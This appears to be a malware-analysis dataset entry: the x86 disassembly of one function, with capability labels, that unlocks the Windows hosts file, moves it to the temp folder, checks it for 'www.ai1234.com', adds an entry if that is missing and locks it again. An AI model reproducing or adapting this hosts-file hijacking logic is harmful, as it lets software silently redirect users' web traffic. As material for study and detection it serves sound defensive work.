Function at 0x403710
Capabilities:
Get common file path
Get file attributes
Move file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41dd40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.WINDOWS_system32driversetchosts
lea eax, [esi + 0x8c]
lea ecx, [esp + 0x14]
push eax
push ecx
xor ebp, ebp
call fcn.00415971
lea ecx, [esp + 0x28]
mov dword [esp + 0x44], ebp
call fcn.00418cc1
mov edx, dword [0x426e28]
mov dword [esp + 0x18], edx
push 0x42a748
lea ecx, [esp + 0x20]
mov byte [esp + 0x48], 2
call fcn.00415796
push 0x10000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x50], 3
call fcn.0041549d
mov ecx, esi
call fcn.004034f0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebx
mov eax, dword [0x426e28]
mov dword [esp + 0x14], eax
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 4
call fcn.00415b0c
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00415b5b
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.00415971
mov eax, dword [eax]
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x20]
call fcn.00415728
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.00415971
mov eax, dword [eax]
push ebp
mov byte [esp + 0x48], 5
push ebp
push eax
lea ecx, [esp + 0x34]
call fcn.00418d36
lea ecx, [esp + 0x20]
mov edi, eax
mov byte [esp + 0x44], 4
call fcn.00415728
test edi, edi
je 0x403936
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
call fcn.00418f19
test eax, eax
je 0x4038ad
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x20]
call fcn.00415af4
push 0x426c7c
lea ecx, [esp + 0x20]
call fcn.00415ab8
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.00415b5b
push str.www.ai1234.com
lea ecx, [esp + 0x1c]
call fcn.00414135
cmp eax, 0xffffffff
je 0x40389b
mov ebp, 1
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.00418f19
test eax, eax
jne 0x40385c
lea ecx, [esp + 0x28]
call fcn.00419066
test ebp, ebp
jne 0x403936
push 0x426848
lea ecx, [esp + 0x24]
call fcn.00415796
lea eax, [esp + 0x14]
push str.hosts
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x50], 6
call fcn.00415971
mov eax, dword [eax]
push ebp
push 1
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x50], 7
call fcn.00418d36
lea ecx, [esp + 0x24]
mov byte [esp + 0x44], 6
call fcn.00415728
lea edx, [esp + 0x20]
lea ecx, [esp + 0x1c]
push edx
call fcn.00415af4
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.00418ea9
lea ecx, [esp + 0x28]
call fcn.00419066
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.00415728
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00415971
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x24]
call fcn.00415728
mov edx, dword [esp + 0x10]
push 1
push edx
call ebx
push 0x80000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.0041549d
mov ecx, esi
call fcn.004034f0
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 3
call fcn.00415728
lea ecx, [esp + 0x1c]
mov byte [esp + 0x44], 2
call fcn.00415728
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 1
call fcn.00415728
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.00418cf3
lea ecx, [esp + 0x10]
mov dword [esp + 0x44], 0xffffffff
call fcn.00415728
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x38
ret